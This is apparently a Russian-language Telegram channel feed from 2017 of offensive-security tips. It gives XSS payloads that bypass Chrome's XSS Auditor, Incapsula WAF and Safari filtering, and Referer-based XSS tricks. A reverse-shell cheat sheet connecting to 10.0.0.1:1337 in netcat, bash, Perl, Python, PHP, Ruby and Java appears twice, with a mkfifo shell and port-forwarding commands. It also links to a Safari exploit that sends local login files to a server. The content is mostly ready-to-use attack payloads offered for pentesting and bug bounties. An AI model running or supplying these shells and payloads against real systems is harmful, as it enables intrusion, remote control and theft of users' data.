Size: a a a

2017 August 15
Кавычка
Совсем недавно чувак с именем fabrizio обошел Chrome XSS Auditor с помощью... Нульбайта. Точнее семи нульбайтов:

◼️.ws/example.php?xss=%3Chello%3E%00%00%00%00%00%00%00%3Cscript%3Ealert(%27pew%27)%3C/script%3E

Не менее забавная находка - незакрытый тег </script, с условием, что после него будет перенос строки:

◼️.ws/example.php?xss=%3Cscript%3Ealert(%27pew%27)%3C/script


¯\_(ツ)_/¯
источник
2017 August 16
Кавычка
Сеогня Google соламся. Он шлет нетсандаыртнй ткест к двуфхактонрой аутнетифкиации с ошикпами. Так он пыатется боростя со спмаерами. Виидмо не занет, что тескт смс матчат регуялркой по цирфам :)
источник
2017 August 23
Кавычка
Несколько векторов обхода для Incapsula WAF

И раз:

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>


И два:

<img/src=q onerror='new Function`al\ert\`1\``'>
источник
Кавычка
webpwn
Несколько векторов обхода для Incapsula WAF

И раз:

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>


И два:

<img/src=q onerror='new Function`al\ert\`1\``'>
— Джонни, мать твою, как это работает?

Я отвечу: я не Джонни 😩

В первом случае мы редиректим текущий url фрейма (this.src) на javascript:alert(). Про &Tab; я писал выше.

Не пускает точку? Например не проходит document.cookie?

Добавляем блоки document['cookie'] и точка нам больше не нужна (https://jsfiddle.net/raouvm1q/). Не пускает alert - разбиваем на две строки, "al"+"ert".

— Джонни, но как вызвать функцию без скобок?

Да не Джонни я!1! Вместо скобок можно использовать бэктики (ну вот этот вот знак - `). Этой клавишей можно не только вызывать консольку в игре, запомни её!

— Джонни, а что за al\ert(). Ты что нюхал?

Alert во втором случае будет строкой, а \e - это экранированная e, лол. А что будет если экранировать буквы? Ничего (https://jsfiddle.net/p8965gu7/). Только не пытайся экранировать зарезервированные символы, например писать \r (возврат каретки) и \t (знак табуляции) в том же alert'е, так работать не будет.
источник
2017 August 29
Кавычка
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером.

Для того, чтобы слушать порт, на сервере 10.0.0.1 выполняем:

nc -lvp 1337

И остается только перенаправить поток /bin/sh на наш сервер, вот различные варианты развития событий :)

Netcat
nc -e /bin/sh 10.0.0.1 1337
nc -c /bin/sh 10.0.0.1 1337
/bin/sh | nc 10.0.0.1 1337

(или тоже самое с ncat вместо nc)

Bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1

Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


Еще забавный вариант с пробросом X'ов:
xterm -display 10.0.0.1:1

На машине 10.0.0.1 - Xnest :1, вжух, и у нас удаленный рабочий стол.
источник
2017 August 30
Кавычка
Забавно, что в браузере Safari символ ; может восприниматься как =

<script>
location.href;'javascript:alert%281%29'
</script>


#xss #safari
источник
2017 September 06
Кавычка
источник
Кавычка
XSS атаки с помощью Referer'а

Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:

' в %27
" в %22
< и > в %3C и %3E соответственно.

Поэтому если сайт тупо вставляет содержимое заголовка Referer не декодируя ссылку, то с этим все сложно.

Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.

С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.

Для этого достаточно создать html страничку с подобным содержимым:


<script>
window.history.replaceState('', '', "/hello'-alert()-'/");
location.href="//vulnerabledomain/"
</script>


#xss #referer
источник
Кавычка
webpwn
XSS атаки с помощью Referer'а

Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:

' в %27
" в %22
< и > в %3C и %3E соответственно.

Поэтому если сайт тупо вставляет содержимое заголовка Referer не декодируя ссылку, то с этим все сложно.

Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.

С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.

Для этого достаточно создать html страничку с подобным содержимым:


<script>
window.history.replaceState('', '', "/hello'-alert()-'/");
location.href="//vulnerabledomain/"
</script>


#xss #referer
Более того, Internet Explorer - имеет забавную особенность, если перенаправить пользователя с помощью заголовка
Location: http://mysite/"><script>alert()</script>/, то путь также не будет преобразовываться в urlencode.
Может кому-то пригодится в bugbounty :)

#xss #bugbounty
источник
2017 September 07
Кавычка
webpwn
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером.

Для того, чтобы слушать порт, на сервере 10.0.0.1 выполняем:

nc -lvp 1337

И остается только перенаправить поток /bin/sh на наш сервер, вот различные варианты развития событий :)

Netcat
nc -e /bin/sh 10.0.0.1 1337
nc -c /bin/sh 10.0.0.1 1337
/bin/sh | nc 10.0.0.1 1337

(или тоже самое с ncat вместо nc)

Bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1

Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


Еще забавный вариант с пробросом X'ов:
xterm -display 10.0.0.1:1

На машине 10.0.0.1 - Xnest :1, вжух, и у нас удаленный рабочий стол.
Дополнение от Heartless'а.

Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.

Проверка наличия открытого TCP-порта 12345

MacOS $ nc -v -G2 192.168.1.100 12345
Linux $ nc -v -w2 192.168.1.100 12345


Сканирование TCP-портов с помощью netcat:

MacOS $ nc -G2 -vz 192.168.1.100 20-24
Linux $ nc -w2 -vz 192.168.1.100 20-24


Отправка UDP:

$ echo -n "foo" | nc -u -w1 192.168.1.100 161


Прием данных на UDP-порту и вывод принятых данных:

$ nc -v -u localhost 7777


После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать nc -lkv 0 7777

Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0 1234 > /tmp/f 

А также "ncat -e"

Перенаправление портов

MacOS $ nc 127.0.0.1 22 <&1 | nc -lvk 3333 >&0
Linux $ mkfifo /tmp/bp; nc -lvk 12345 0</tmp/bp | nc 127.0.0.1 22 1>/tmp/bp


И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
источник
2017 September 12
Кавычка
Помнишь что такое Http Parameter Pollution?
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра id на страницу:

site.com/page.asp?id=AA

На странице покажет

<input name="id" value="AA">


А если передадим несколько параметров с одним именем

site.com/page.asp?id=AA&id=BB&id=CC


На страницу попадет
<input name="id" value="AA, BB, CC">


Так о чем это я
В ASP/ASP.NET часто бывает, что фильтрация пользовательских данных происходит только в первом элементе, поэтому важно попробовать дублировать параметры запроса и передавать атакующие пэйлоады уже туда.
Еще нет такого плагина для burp suite? 🤔

#XSS #IIS #ASP
источник
Кавычка
Вот и новая уязвимость с именем подъехала - BlueBorne. Получи контроль над миллиардами (!) устройств по всему миру B-)

https://boingboing.net/2017/09/12/turn-bluetooth-off.html
https://www.armis.com/blueborne/
http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf
источник
2017 September 15
Кавычка
Используем (костыли) виртуалку (назовем ее proxyhost) для доступа в интернет с удаленной машины за натом.

На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
ssh proxyhost -R 2222:localhost:22

Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.

На клиенте (кому интернет), пишем следующее заклинание:
ssh -t -L 8888:localhost:8888 proxyhost ssh guest@localhost -p 2222 -D 8888

Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).

В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).
источник
2017 September 16
Кавычка
В burp suite обнаружена уязвимость выполнения произвольного кода. Ты пытаешься атаковать сайт, а сайт атакует тебя)
источник
2017 September 21
Кавычка
Невероятно, но факт: hh.ru сканирует локальные порты. Глупышки, зачем стучаться на 22 порт, Chrome вернет ERR_UNSAFE_PORT
источник
2017 September 22
Кавычка
Полезные плагины для Chrome

Vulners Web Scanner
Сканер уязвимостей на основе версий используемого софта на сайте
https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd

HTML5 Storage Manager All in One
Позволяет редактировать Cookie, Local Storage и indexedDB сайтов
https://chrome.google.com/webstore/detail/html5-storage-manager-all/giompennnhheakjcnobejbnjgbbkmdnd

Chrome HTTP Monitor
Показывает заголовки и время загрузки сайта
https://chrome.google.com/webstore/detail/chrome-http-monitor/maceikgnmfpfbciilpapjdogebnanahg

Wappalyzer
Определяет используемые на сайте CMS, JS библиотеки. Не забудь отключить анонимную стучалку в настройках
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg

Shodan
Удобен тем, что позволяет посмотреть не только открытые порты, но и страну и организацию ip домена
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap

Clickjacking Test
Ничего сложного, просто открывает сайт в фрейме и позволяет сгенерить простой PoC для сайтов без X-Frame-Options
https://chrome.google.com/webstore/detail/clickjacking-test/bjhigladkmnpmglhcnpeiplekpanekpi

FoxyProxy Basic
Создаешь профили с различными настройками прокси и быстро переключаешься между ними
https://chrome.google.com/webstore/detail/foxyproxy-basic/dookpfaalaaappcdneeahomimbllocnb
источник
2017 October 03
Кавычка
Забавная смесь логических ошибок превращается в обход SOP браузера. Заходишь по ссылке - данные любых сайтов улетают злоумышленнику (UXSS). Обновляйтесь!

https://github.com/Bo0oM/CVE-2017-7089
источник
2017 October 05
Кавычка
Многие тулзы, например nmap, требуют рута для нормальной работы. Но если тебе надоело писать каждый раз sudo и не хочется раскидываться suid'ами, то можно воспользоваться linux capabilities и выдать только определённые привилегии.

Для Nmap надо выставить следующие :
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
и добавить в переменные окружения (в ~/.bashrc, например):
export NMAP_PRIVILEGED=""

Для ncat требуется:
sudo setcap cap_net_bind_service+eip /usr/bin/ncat

Для Wireshark:
setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap
Плюс возможно добавить прав на исполнение:
sudo chmod o+x /usr/bin/dumpcap

После этого тулзы можно запускать без sudo, под обычным юзером
источник
2017 October 09
Кавычка
webpwn
Предательство Safari. Чтение локальных файлов с дальнейшей отправкой на сервер помощью html документа.
https://xakep.ru/2017/07/06/safari-localfile-read/
https://github.com/Bo0oM/Safiler
Помните, как мы пробовали читать локальные файлы в Safari?
Оказывается, есть еще одна особенность этого замечательного браузера! Если файл скачан из интернета - читать файлы напрямую нельзя. Но не совсем. Ведь скачанным файлом можно создать еще один html файл (который появится рядом с оригинальным) и открыть на него фрейм!
Вот демонстрация эксплойта, в котором пользователю отдается html файл, если открыть его в Safari, будет попытка слить всякие логины/пароли на локальные сервер (в консоле будут соответствующие ошибки, а если запустить оригинальный python сервер, файлы появятся в соответствующей папке).

Демонстрация:
https://bo0om.ru/safari_poc/
источник
2017 October 10
Кавычка
Любую функцию javascript можно выполнить без использования каких-либо букв.

1) http://utf-8.jp/public/jjencode.html
Позволяет генерировать функции из спецсимволов.

2) http://www.jsfuck.com/
Если количество используемых символов ограничено (например не пускает \ ) jsfuck позволяет создать пэйлоад с использованием только символов ()+[]!.

3) https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
А когда запрещено использовать скобки, поможет этот ресурс. Он может преобразовать js в последовательность сиволов [+|>].

Единственный минус - вектор становится большим. Если в jjencode alert() - 524 символа, в jsfuck становится размером в 1219 символов, то в 5chars он становится просто огромным - 61827 символов.
источник